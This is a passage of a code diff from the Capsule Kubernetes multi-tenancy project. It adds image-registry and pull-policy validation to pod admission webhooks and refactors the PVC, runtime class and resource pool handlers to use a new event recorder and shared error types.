    +		if resp := h.verifyOCIReference(recorder, req, tnt, pod, rs, api.ValidateImages, c.Image, c.ImagePullPolicy, fmt.Sprintf("ephemeralContainers[%d]", i)); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	for i := range pod.Spec.Containers {
    +		c := pod.Spec.Containers[i]
    +		if resp := h.verifyOCIReference(recorder, req, tnt, pod, rs, api.ValidateImages, c.Image, c.ImagePullPolicy, fmt.Sprintf("containers[%d]", i)); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func (h *registryHandler) validateVolumes(
    +	req admission.Request,
    +	pod *corev1.Pod,
    +	tnt *capsulev1beta2.Tenant,
    +	recorder events.EventRecorder,
    +	rs *cache.RuleSet,
    +) *admission.Response {
    +	for i := range pod.Spec.Volumes {
    +		v := pod.Spec.Volumes[i]
    +		if v.Image == nil {
    +			continue
    +		}
    +
    +		ref := strings.TrimSpace(v.Image.Reference)
    +		if ref == "" {
    +			resp := admission.Denied(fmt.Sprintf("volume %q has empty image.reference", v.Name))
    +
    +			return &resp
    +		}
    +
    +		if resp := h.verifyOCIReference(
    +			recorder, req, tnt, pod,
    +			rs, api.ValidateVolumes,
    +			ref, v.Image.PullPolicy,
    +			fmt.Sprintf("volumes[%d](%s)", i, v.Name),
    +		); resp != nil {
    +			return resp
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +type resolvedRegistryConfig struct {
    +	allowed       bool
    +	allowedPolicy map[corev1.PullPolicy]struct{} // nil => no restriction
    +}
    +
    +func resolveRegistryConfig(
    +	rules []cache.CompiledRule,
    +	ref string,
    +	target api.RegistryValidationTarget,
    +) resolvedRegistryConfig {
    +	var res resolvedRegistryConfig
    +
    +	for i := range rules {
    +		r := rules[i]
    +
    +		switch target {
    +		case api.ValidateImages:
    +			if !r.ValidateImages { // adjust field name
    +				continue
    +			}
    +		case api.ValidateVolumes:
    +			if !r.ValidateVolumes { // adjust field name
    +				continue
    +			}
    +		}
    +
    +		if !r.RE.MatchString(ref) { // adjust field name
    +			continue
    +		}
    +
    +		res.allowed = true
    +
    +		// only override pullpolicy restriction when explicitly set by a later matching rule
    +		if len(r.AllowedPolicy) > 0 { // adjust field name
    +			res.allowedPolicy = r.AllowedPolicy
    +		}
    +	}
    +
    +	return res
    +}
    +
    +func (h *registryHandler) verifyOCIReference(
    +	recorder events.EventRecorder,
    +	req admission.Request,
    +	tnt *capsulev1beta2.Tenant,
    +	pod *corev1.Pod,
    +	rs *cache.RuleSet,
    +	target api.RegistryValidationTarget,
    +	reference string,
    +	pullPolicy corev1.PullPolicy,
    +	where string,
    +) *admission.Response {
    +	ref := strings.TrimSpace(reference)
    +	if ref == "" {
    +		msg := fmt.Sprintf("%s has empty reference", where)
    +
    +		resp := admission.Denied(msg)
    +
    +		recorder.Eventf(
    +			pod,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenContainerRegistry,
    +			evt.ActionValidationDenied,
    +			msg,
    +		)
    +
    +		return &resp
    +	}
    +
    +	// Match rules against the FULL OCI reference string.
    +	// This avoids relying on parsing logic and supports nested paths, digests, etc.
    +	cfg := resolveRegistryConfig(rs.Compiled, ref, target)
    +	if !cfg.allowed {
    +		msg := fmt.Sprintf("%s reference %q is not allowed", where, ref)
    +
    +		resp := admission.Denied(msg)
    +
    +		recorder.Eventf(
    +			pod,
    +			tnt,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenContainerRegistry,
    +			evt.ActionValidationDenied,
    +			msg,
    +		)
    +
    +		return &resp
    +	}
    +
    +	// No defaulting: enforce only if restricted; empty pullPolicy is rejected under restriction.
    +	if cfg.allowedPolicy != nil {
    +		allowed := formatAllowedPullPolicies(cfg.allowedPolicy)
    +
    +		if pullPolicy == "" {
    +			msg := fmt.Sprintf(
    +				"%s reference %q must explicitly set pullPolicy (allowed: %s)",
    +				where, ref, allowed,
    +			)
    +
    +			resp := admission.Denied(msg)
    +
    +			recorder.Eventf(
    +				pod,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenPullPolicy,
    +				evt.ActionValidationDenied,
    +				msg,
    +			)
    +
    +			return &resp
    +		}
    +
    +		if _, ok := cfg.allowedPolicy[pullPolicy]; !ok {
    +			msg := fmt.Sprintf(
    +				"%s reference %q uses pullPolicy=%s which is not allowed (allowed: %s)",
    +				where, ref, pullPolicy, allowed,
    +			)
    +
    +			resp := admission.Denied(msg)
    +
    +			recorder.Eventf(
    +				pod,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenPullPolicy,
    +				evt.ActionValidationDenied,
    +				msg,
    +			)
    +
    +			return &resp
    +		}
    +	}
    +
    +	return nil
    +}
    +
    +func formatAllowedPullPolicies(policies map[corev1.PullPolicy]struct{}) string {
    +	if len(policies) == 0 {
    +		return ""
    +	}
    +
    +	out := make([]string, 0, len(policies))
    +	for p := range policies {
    +		out = append(out, string(p))
    +	}
    +
    +	sort.Strings(out)
    +
    +	return strings.Join(out, ", ")
    +}
    
  • internal/webhook/pod/runtimeclass_errors.go+0 29 removed
    @@ -1,29 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pod
    -
    -import (
    -	"fmt"
    -
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/api"
    -)
    -
    -type podRuntimeClassForbiddenError struct {
    -	runtimeClassName string
    -	spec             api.DefaultAllowedListSpec
    -}
    -
    -func NewPodRuntimeClassForbidden(runtimeClassName string, spec api.DefaultAllowedListSpec) error {
    -	return &podRuntimeClassForbiddenError{
    -		runtimeClassName: runtimeClassName,
    -		spec:             spec,
    -	}
    -}
    -
    -func (f podRuntimeClassForbiddenError) Error() (err string) {
    -	err = fmt.Sprintf("Pod Runtime Class %s is forbidden for the current Tenant: ", f.runtimeClassName)
    -
    -	return utils.DefaultAllowedValuesErrorMessage(f.spec, err)
    -}
    
  • internal/webhook/pod/runtimeclass.go+25 13 modified
    @@ -10,27 +10,30 @@ import (
     	corev1 "k8s.io/api/core/v1"
     	nodev1 "k8s.io/api/node/v1"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type runtimeClass struct{}
     
    -func RuntimeClass() capsulewebhook.TypedHandlerWithTenant[*corev1.Pod] {
    +func RuntimeClass() handlers.TypedHandlerWithTenantWithRuleset[*corev1.Pod] {
     	return &runtimeClass{}
     }
     
     func (h *runtimeClass) OnCreate(
     	c client.Client,
     	pod *corev1.Pod,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	_ *capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.validate(ctx, c, recorder, req, pod, tnt)
     	}
    @@ -41,9 +44,10 @@ func (h *runtimeClass) OnUpdate(
     	*corev1.Pod,
     	*corev1.Pod,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -53,9 +57,10 @@ func (h *runtimeClass) OnDelete(
     	client.Client,
     	*corev1.Pod,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +	*capsulev1beta2.NamespaceRuleBody,
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -77,7 +82,7 @@ func (h *runtimeClass) class(ctx context.Context, c client.Client, name string)
     func (h *runtimeClass) validate(
     	ctx context.Context,
     	c client.Client,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	req admission.Request,
     	pod *corev1.Pod,
     	tnt *capsulev1beta2.Tenant,
    @@ -104,9 +109,16 @@ func (h *runtimeClass) validate(
     		// Delegating mutating webhook to specify a default RuntimeClass
     		return nil
     	case !allowed.MatchSelectByName(class):
    -		recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenRuntimeClass", "Pod %s/%s is using Runtime Class %s is forbidden for the current Tenant", pod.Namespace, pod.Name, runtimeClassName)
    -
    -		response := admission.Denied(NewPodRuntimeClassForbidden(runtimeClassName, *allowed).Error())
    +		recorder.Eventf(
    +			tnt,
    +			pod,
    +			corev1.EventTypeWarning,
    +			evt.ReasonForbiddenRuntimeClass,
    +			evt.ActionValidationDenied,
    +			"Using Runtime Class %s is forbidden for the tenant %s", runtimeClassName, tnt.GetName(),
    +		)
    +
    +		response := admission.Denied(caperrors.NewPodRuntimeClassForbidden(runtimeClassName, *allowed).Error())
     
     		return &response
     	default:
    
  • internal/webhook/pvc/errors.go+0 93 removed
    @@ -1,93 +0,0 @@
    -// Copyright 2020-2026 Project Capsule Authors
    -// SPDX-License-Identifier: Apache-2.0
    -
    -package pvc
    -
    -import (
    -	"fmt"
    -
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/api"
    -)
    -
    -type storageClassNotValidError struct {
    -	spec api.DefaultAllowedListSpec
    -}
    -
    -func NewStorageClassNotValid(storageClasses api.DefaultAllowedListSpec) error {
    -	return &storageClassNotValidError{
    -		spec: storageClasses,
    -	}
    -}
    -
    -func (s storageClassNotValidError) Error() (err string) {
    -	msg := "A valid Storage Class must be used: "
    -
    -	return utils.DefaultAllowedValuesErrorMessage(s.spec, msg)
    -}
    -
    -type storageClassForbiddenError struct {
    -	className string
    -	spec      api.DefaultAllowedListSpec
    -}
    -
    -func NewStorageClassForbidden(className string, storageClasses api.DefaultAllowedListSpec) error {
    -	return &storageClassForbiddenError{
    -		className: className,
    -		spec:      storageClasses,
    -	}
    -}
    -
    -func (f storageClassForbiddenError) Error() string {
    -	msg := fmt.Sprintf("Storage Class %s is forbidden for the current Tenant ", f.className)
    -
    -	return utils.DefaultAllowedValuesErrorMessage(f.spec, msg)
    -}
    -
    -type missingPVLabelsError struct {
    -	name string
    -}
    -
    -func NewMissingPVLabelsError(name string) error {
    -	return &missingPVLabelsError{name: name}
    -}
    -
    -func (m missingPVLabelsError) Error() string {
    -	return fmt.Sprintf("PersistentVolume %s is missing any label, please, ask the Cluster Administrator to label it", m.name)
    -}
    -
    -type missingPVTenantLabelsError struct {
    -	name string
    -}
    -
    -func NewMissingTenantPVLabelsError(name string) error {
    -	return &missingPVTenantLabelsError{name: name}
    -}
    -
    -func (m missingPVTenantLabelsError) Error() string {
    -	return fmt.Sprintf("PersistentVolume %s is missing the Capsule Tenant label, preventing a potential cross-tenant mount", m.name)
    -}
    -
    -type crossTenantPVMountError struct {
    -	name string
    -}
    -
    -func NewCrossTenantPVMountError(name string) error {
    -	return &crossTenantPVMountError{
    -		name: name,
    -	}
    -}
    -
    -func (m crossTenantPVMountError) Error() string {
    -	return fmt.Sprintf("PersistentVolume %s cannot be used by the following Tenant, preventing a cross-tenant mount", m.name)
    -}
    -
    -type pvSelectorError struct{}
    -
    -func NewPVSelectorError() error {
    -	return &pvSelectorError{}
    -}
    -
    -func (m pvSelectorError) Error() string {
    -	return "PersistentVolume selectors are not allowed since unable to prevent cross-tenant mount"
    -}
    
  • internal/webhook/pvc/handler.go+4 5 modified
    @@ -6,15 +6,14 @@ package pvc
     import (
     	corev1 "k8s.io/api/core/v1"
     
    -	"github.com/projectcapsule/capsule/internal/webhook"
    -	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
    -func Handler(handlers ...webhook.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim]) webhook.Handler {
    -	return &utils.TypedTenantHandler[*corev1.PersistentVolumeClaim]{
    +func Handler(handler ...handlers.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim]) handlers.Handler {
    +	return &handlers.TypedTenantHandler[*corev1.PersistentVolumeClaim]{
     		Factory: func() *corev1.PersistentVolumeClaim {
     			return &corev1.PersistentVolumeClaim{}
     		},
    -		Handlers: handlers,
    +		Handlers: handler,
     	}
     }
    
  • internal/webhook/pvc/pv.go+65 40 modified
    @@ -5,70 +5,52 @@ package pvc
     
     import (
     	"context"
    -	"fmt"
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/api/errors"
    +	"k8s.io/apimachinery/pkg/runtime"
     	"k8s.io/apimachinery/pkg/types"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type pv struct{}
     
    -func PersistentVolumeReuse() capsulewebhook.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim] {
    +func PersistentVolumeReuse() handlers.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim] {
     	return &pv{}
     }
     
     func (h pv) OnCreate(
     	c client.Client,
     	pvc *corev1.PersistentVolumeClaim,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
    -		// A PersistentVolume selector cannot help in preventing a cross-tenant mount:
    -		// thus, disallowing that in first place.
    -		if pvc.Spec.Selector != nil {
    -			return utils.ErroredResponse(NewPVSelectorError())
    -		}
    -
    -		// The PVC hasn't any volumeName pre-claimed, it can be skipped
    -		if len(pvc.Spec.VolumeName) == 0 {
    +		pvObj, err := h.handle(ctx, c, pvc, tnt.Name)
    +		if err == nil {
     			return nil
     		}
     
    -		// Checking if the PV is labelled with the Tenant name
    -		pv := corev1.PersistentVolume{}
    -		if err := c.Get(ctx, types.NamespacedName{Name: pvc.Spec.VolumeName}, &pv); err != nil {
    -			if errors.IsNotFound(err) {
    -				err = fmt.Errorf("cannot create a PVC referring to a not yet existing PV")
    -			}
    -
    -			return utils.ErroredResponse(err)
    -		}
    -
    -		if pv.GetLabels() == nil {
    -			return utils.ErroredResponse(NewMissingPVLabelsError(pv.GetName()))
    -		}
    -
    -		value, ok := pv.GetLabels()[meta.TenantLabel]
    -		if !ok {
    -			return utils.ErroredResponse(NewMissingTenantPVLabelsError(pv.GetName()))
    +		var related runtime.Object
    +		if pvObj != nil {
    +			related = pvObj
    +		} else {
    +			related = tnt
     		}
     
    -		if value != tnt.Name {
    -			return utils.ErroredResponse(NewCrossTenantPVMountError(pv.GetName()))
    -		}
    +		caperrors.RecordTypedErrorEvent(recorder, pvc, related, err)
     
    -		return nil
    +		return utils.ErroredResponse(err)
     	}
     }
     
    @@ -77,10 +59,10 @@ func (h pv) OnUpdate(
     	*corev1.PersistentVolumeClaim,
     	*corev1.PersistentVolumeClaim,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    -	return func(context.Context, admission.Request) *admission.Response {
    +) handlers.Func {
    +	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return nil
     	}
     }
    @@ -89,10 +71,53 @@ func (h pv) OnDelete(
     	client.Client,
     	*corev1.PersistentVolumeClaim,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
    +
    +func (h pv) handle(
    +	ctx context.Context,
    +	c client.Client,
    +	pvc *corev1.PersistentVolumeClaim,
    +	tenantName string,
    +) (*corev1.PersistentVolume, error) {
    +	if pvc.Spec.Selector != nil {
    +		return nil, caperrors.NewPVSelectorError(evt.ActionValidationDenied)
    +	}
    +
    +	if pvc.Spec.VolumeName == "" {
    +		return nil, nil
    +	}
    +
    +	pv := &corev1.PersistentVolume{}
    +	if err := c.Get(ctx, types.NamespacedName{Name: pvc.Spec.VolumeName}, pv); err != nil {
    +		if errors.IsNotFound(err) {
    +			return nil, caperrors.NewPvNotFoundError(
    +				pvc.Spec.VolumeName,
    +				evt.ActionValidationDenied,
    +			)
    +		}
    +
    +		return nil, err
    +	}
    +
    +	labels := pv.GetLabels()
    +
    +	value, ok := labels[meta.TenantLabel]
    +	if !ok {
    +		return pv, caperrors.NewMissingTenantPVLabelsError(
    +			pv.GetName(),
    +			evt.ActionValidationDenied,
    +		)
    +	}
    +
    +	if value != tenantName {
    +		return pv, caperrors.NewCrossTenantPVMountError(pv.GetName(), evt.ActionValidationDenied)
    +	}
    +
    +	return pv, nil
    +}
    
  • internal/webhook/pvc/validating.go+28 13 modified
    @@ -9,28 +9,30 @@ import (
     
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/api/errors"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	caperrors "github.com/projectcapsule/capsule/pkg/api/errors"
    +	evt "github.com/projectcapsule/capsule/pkg/runtime/events"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type validating struct{}
     
    -func Validating() capsulewebhook.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim] {
    +func Validating() handlers.TypedHandlerWithTenant[*corev1.PersistentVolumeClaim] {
     	return &validating{}
     }
     
     func (h *validating) OnCreate(
     	c client.Client,
     	pvc *corev1.PersistentVolumeClaim,
     	decoder admission.Decoder,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     	tnt *capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		allowed := tnt.Spec.StorageClasses
     
    @@ -41,9 +43,16 @@ func (h *validating) OnCreate(
     		storageClass := pvc.Spec.StorageClassName
     
     		if storageClass == nil {
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "MissingStorageClass", "PersistentVolumeClaim %s/%s is missing StorageClass", req.Namespace, req.Name)
    +			recorder.Eventf(
    +				pvc,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonMissingStorageClass,
    +				evt.ActionValidationDenied,
    +				"Requires a StorageClass",
    +			)
     
    -			response := admission.Denied(NewStorageClassNotValid(*tnt.Spec.StorageClasses).Error())
    +			response := admission.Denied(caperrors.NewStorageClassNotValid(*tnt.Spec.StorageClasses).Error())
     
     			return &response
     		}
    @@ -71,9 +80,15 @@ func (h *validating) OnCreate(
     		case allowed.Match(*storageClass) || selector:
     			return nil
     		default:
    -			recorder.Eventf(tnt, corev1.EventTypeWarning, "ForbiddenStorageClass", "PersistentVolumeClaim %s/%s StorageClass %s is forbidden for the current Tenant", req.Namespace, req.Name, *storageClass)
    +			recorder.Eventf(
    +				pvc,
    +				tnt,
    +				corev1.EventTypeWarning,
    +				evt.ReasonForbiddenStorageClass,
    +				evt.ActionValidationDenied,
    +				"StorageClass %s is forbidden for the Tenant %s", *storageClass, tnt.GetName())
     
    -			response := admission.Denied(NewStorageClassForbidden(*pvc.Spec.StorageClassName, *tnt.Spec.StorageClasses).Error())
    +			response := admission.Denied(caperrors.NewStorageClassForbidden(*pvc.Spec.StorageClassName, *tnt.Spec.StorageClasses).Error())
     
     			return &response
     		}
    @@ -85,9 +100,9 @@ func (h *validating) OnUpdate(
     	*corev1.PersistentVolumeClaim,
     	*corev1.PersistentVolumeClaim,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    @@ -97,9 +112,9 @@ func (h *validating) OnDelete(
     	client.Client,
     	*corev1.PersistentVolumeClaim,
     	admission.Decoder,
    -	record.EventRecorder,
    +	events.EventRecorder,
     	*capsulev1beta2.Tenant,
    -) capsulewebhook.Func {
    +) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
    
  • internal/webhook/resourcepool/claim_mutating.go+6 6 modified
    @@ -11,37 +11,37 @@ import (
     
     	"github.com/go-logr/logr"
     	"k8s.io/apimachinery/pkg/fields"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
     	"github.com/projectcapsule/capsule/pkg/api/meta"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type claimMutationHandler struct {
     	log logr.Logger
     }
     
    -func ClaimMutationHandler(log logr.Logger) capsulewebhook.Handler {
    +func ClaimMutationHandler(log logr.Logger) handlers.Handler {
     	return &claimMutationHandler{log: log}
     }
     
    -func (h *claimMutationHandler) OnUpdate(c client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *claimMutationHandler) OnUpdate(c client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(ctx, req, decoder, c)
     	}
     }
     
    -func (h *claimMutationHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *claimMutationHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *claimMutationHandler) OnCreate(c client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *claimMutationHandler) OnCreate(c client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		return h.handle(ctx, req, decoder, c)
     	}
    
  • internal/webhook/resourcepool/claim_validating.go+6 6 modified
    @@ -9,30 +9,30 @@ import (
     	"reflect"
     
     	"github.com/go-logr/logr"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type claimValidationHandler struct {
     	log logr.Logger
     }
     
    -func ClaimValidationHandler(log logr.Logger) capsulewebhook.Handler {
    +func ClaimValidationHandler(log logr.Logger) handlers.Handler {
     	return &claimValidationHandler{log: log}
     }
     
    -func (h *claimValidationHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *claimValidationHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *claimValidationHandler) OnDelete(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *claimValidationHandler) OnDelete(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		claim := &capsulev1beta2.ResourcePoolClaim{}
     
    @@ -50,7 +50,7 @@ func (h *claimValidationHandler) OnDelete(_ client.Client, decoder admission.Dec
     	}
     }
     
    -func (h *claimValidationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *claimValidationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		oldClaim := &capsulev1beta2.ResourcePoolClaim{}
     		newClaim := &capsulev1beta2.ResourcePoolClaim{}
    
  • internal/webhook/resourcepool/pool_mutating.go+6 6 modified
    @@ -12,36 +12,36 @@ import (
     	"github.com/go-logr/logr"
     	corev1 "k8s.io/api/core/v1"
     	"k8s.io/apimachinery/pkg/api/resource"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type poolMutationHandler struct {
     	log logr.Logger
     }
     
    -func PoolMutationHandler(log logr.Logger) capsulewebhook.Handler {
    +func PoolMutationHandler(log logr.Logger) handlers.Handler {
     	return &poolMutationHandler{log: log}
     }
     
    -func (h *poolMutationHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *poolMutationHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(req, decoder)
     	}
     }
     
    -func (h *poolMutationHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *poolMutationHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *poolMutationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *poolMutationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.handle(req, decoder)
     	}
    
  • internal/webhook/resourcepool/pool_validation.go+6 6 modified
    @@ -10,36 +10,36 @@ import (
     	"github.com/go-logr/logr"
     	"k8s.io/apimachinery/pkg/api/equality"
     	"k8s.io/apimachinery/pkg/api/resource"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type poolValidationHandler struct {
     	log logr.Logger
     }
     
    -func PoolValidationHandler(log logr.Logger) capsulewebhook.Handler {
    +func PoolValidationHandler(log logr.Logger) handlers.Handler {
     	return &poolValidationHandler{log: log}
     }
     
    -func (h *poolValidationHandler) OnCreate(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *poolValidationHandler) OnCreate(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *poolValidationHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *poolValidationHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *poolValidationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *poolValidationHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		oldPool := &capsulev1beta2.ResourcePool{}
     		if err := decoder.DecodeRaw(req.OldObject, oldPool); err != nil {
    
  • internal/webhook/route/config.go+4 4 modified
    @@ -4,18 +4,18 @@
     package route
     
     import (
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type configValidating struct {
    -	handlers []capsulewebhook.Handler
    +	handlers []handlers.Handler
     }
     
    -func ConfigValidation(handler ...capsulewebhook.Handler) capsulewebhook.Webhook {
    +func ConfigValidation(handler ...handlers.Handler) handlers.Webhook {
     	return &configValidating{handlers: handler}
     }
     
